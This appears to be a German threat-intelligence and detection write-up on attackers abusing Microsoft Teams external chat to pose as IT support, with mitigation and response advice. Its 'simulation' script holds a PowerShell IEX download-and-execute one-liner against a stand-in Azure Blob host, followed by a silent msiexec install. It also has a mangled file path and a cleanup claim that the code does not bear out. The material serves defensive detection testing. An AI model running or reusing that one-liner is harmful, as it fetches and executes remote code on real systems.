Missbrauch externer Chats in Microsoft Teams ermöglicht anfänglichen Zugriff

Zusammenfassung

Bedrohungsakteure missbrauchen die externen Chat-Funktionen von Microsoft Teams, um Identitätsbetrügereien durchzuführen und bösartige Dateien zu liefern. Angreifer verwenden IT-bezogene Anzeigenamen und temporäre Microsoft 365-Mandanten, um legitim zu erscheinen und das Vertrauen der Opfer zu gewinnen. Nach der Kontaktaufnahme verlassen sie sich häufig auf Vishing und Remote-Monitoring- und Management-Tools (RMM), um direkten Zugriff zu erhalten.

Untersuchung

Arctic Wolf analysierte mehr als 400 Vorfälle, die den Missbrauch des externen Chats von Microsoft Teams betrafen. Die Untersuchung identifizierte ein wiederkehrendes Muster, bei dem Mail-Bombing Dringlichkeit erzeugte, bevor Angreifer Opfer über Teams kontaktierten, während sie IT-Support vortäuschten. Forscher beobachteten auch eine Verschiebung von .onmicrosoft.com Mandanten zu angreifer-kontrollierten .top Domains für die Präparation von Nutzlasten.

Abschwächung

Organisationen sollten eine offene Richtlinie für den externen Zugriff durch eine Positivliste vertrauenswürdiger Domains im Teams-Admin-Center ersetzen. Es wird auch empfohlen, den Chat mit nicht verwalteten oder Teams-Verbraucherkonten zu deaktivieren. Die Einschränkung von Tools wie Quick Assist und das Blockieren nicht genehmigter RMM-Software kann das Risiko einer nachfolgenden Ausnutzung weiter reduzieren.

Reaktion

Wenn verdächtige externe Microsoft Teams-Chat-Aktivitäten erkannt werden, sollten Organisationen die Identität des Anfragenden über einen alternativen Kommunikationskanal überprüfen. Sicherheitsteams sollten ChatCreated Ereignisse mit Endpunkt- und Identitätstelemetrie korrelieren, um mögliche Kompromittierungen aufzudecken. Das schnelle Isolieren betroffener Hosts und das Widerrufen von Sitzungstoken für potenziell kompromittierte Benutzer ist von entscheidender Bedeutung.

Simulationsexekution

• Angriffserzählung & Befehle: Das Ziel des Gegners ist es, Persistenz durch die Installation eines bösartigen Dienstes zu etablieren. Um eine Erkennung zu vermeiden, versuchen sie, eine Nutzlast von einem öffentlichen Azure Blob-Speichercontainer herunterzuladen. Sie verwenden einen PowerShell-„Einzeiler“, der Invoke-Expression (alias als IEX) mit einer URL zum blob.core.windows.net. Nachdem das Skript im Speicher ausgeführt wurde, wird die Ausführung von msiexec.exe ausgelöst, um die endgültige Nutzlast zu installieren, womit die Kette von der initialen Befehlseingabe bis zur Systeminstallation vervollständigt wird.

• Regressionstest-Skript:

  # Simulationsskript: Nutzlastausführung via PowerShell und Azure Blob
  # Dieses Skript imitiert genau die Muster, nach denen die Regel sucht.
  
  $TargetUrl = "https://malicious-payload.blob.core.windows.net/downloads/installer.msi"
  $FakeIEX = "IEX"
  
  Write-Host "[+] Simulation der PowerShell-Skriptblock-Ausführung mit Azure Blob-URL..."
  # Diese Zeile löst die EventID 4104 Logik aus (IEX + blob.core.windows.net)
  Invoke-Expression "Write-Output 'Downloading from $TargetUrl...'; $FakeIEX (New-Object Net.WebClient).DownloadString('$TargetUrl')"
  
  Write-Host "[+] Simulation der MSI-Ausführung..."
  # Diese Zeile löst die EventID 4688 Logik aus (msiexec.exe)
  Start-Process "msiexec.exe" -ArgumentList "/i C:WindowsSystem32setup.msi /quiet" -ErrorAction SilentlyContinue

• Aufräumbefehle:

  # Bereinigung: Es werden durch dieses Simulationsskript keine dauerhaften Dateien erstellt,
  # da es Dummy-URLs und Standard-System-MSI-Pfade verwendet.
  Write-Host "[+] Simulation abgeschlossen. Keine Artefakte auf dem System hinterlassen."